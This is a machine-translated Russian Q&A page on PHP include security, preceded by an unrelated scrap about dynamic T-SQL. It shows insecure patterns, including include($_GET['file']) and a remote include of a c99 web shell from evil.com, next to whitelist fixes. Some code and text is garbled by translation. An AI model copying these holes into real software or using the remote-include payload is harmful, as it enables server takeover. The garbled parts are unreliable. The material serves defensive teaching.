Вы можете добиться этого, используя динамический TSQL (не забудьте использовать QUOTENAME, чтобы избежать атак SQL-инъекций):
Свертывает динамические столбцы в SQL Server 2005
SQL Server - динамическая таблица PIVOT - SQL Injection
Обязательная ссылка на Проклятие и благословения динамического SQL
Все зависит от того, как вы его реализуете. Если вы конкретно задаете путь, тогда он безопасен.
Небезопасный (обход каталога)
<?php
include($_GET['file']);
?>
Небезопасный ( URL fopen
g0] - если включено)<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Частично небезопасно (файлы * .php уязвимы)
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (хотя не знаю, почему кто-то это сделает.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
Любая сторона сервера (при условии, что ваш сервер не скомпрометирован) безопасен. Выполнение этого:
$var = $_GET['var']';
include $var . ".php";
небезопасно.
include "page.php";
является безопасным.
Включить безопасно, если вы этого не сделаете:
www.someoneelsesssite.com/something.php
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
2 и 3 технически имеют оговорку, что если вы запретили .
или /
или на окнах \
, вы, вероятно, в порядке. Но если вы не знаете, почему, вы не знаете достаточно об этом, чтобы рисковать. Даже если вы считаете, что база данных доступна только для чтения или иным образом защищена, разумно не предполагать, что, если вам действительно не нужно, что почти никогда.
Как указывает ответ pp19dd. Также важно, чтобы вы назвали свои расширения с расширением .php. Если вы установили apache (или какой-либо веб-сервер, который вы используете), чтобы проанализировать другой тип файла как PHP, это тоже безопасно. Но если вы не знаете наверняка, используйте .php исключительно.
Include можно злоупотреблять, если вы делаете что-то вроде этого:
include($_GET["page"]);
, а затем вызывают URL:
myscript.php?page=index.php
злоумышленники могут затем замените index.php
на hxxp://hackerz.ru/install_stuff.php
, и ваш сервер с радостью запустит его.
include
сам совершенно безопасен. Просто убедитесь, что вы всегда проверяете / избегаете ввода.
Я использую этот метод.
<?php include (dirname(__FILE__).'/file.php');
Лучше всего сделать, чтобы страница, которую вы пытаетесь включить, существует в первую очередь. Реальные лазейки безопасности приходят, когда ваша страница включения обрабатывается из какого-либо пользовательского ввода, такого как переменная URL. ?include=page.php
Пока вы осторожны, вы должны быть в порядке.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
Самая большая проблема с включением, скорее всего, сменяет расширение имени файла с PHP на то, что автоматически не выполняется веб-сервером. Например, library.inc или config.inc. Вызов этих файлов с помощью веб-браузера будет показывать код вместо его выполнения - и будут показаны любые пароли или полезные подсказки.
Сравните config.php, который может иметь в нем пароль с config.inc. Вызов config.inc в большинстве случаев показал бы, что такое пароль базы данных.
Существуют программисты, которые используют расширения .inc для библиотек. Предпосылка заключается в том, что они не будут находиться в каталоге, доступном веб-серверу. Тем не менее, меньшие программисты-параноики могут сбрасывать этот файл в удобный веб-каталог.
В противном случае убедитесь, что вы не включили файл, который был передан строкой запроса каким-то образом. Пример: include( $_GET['menu_file'] )
& lt; - это очень неправильно.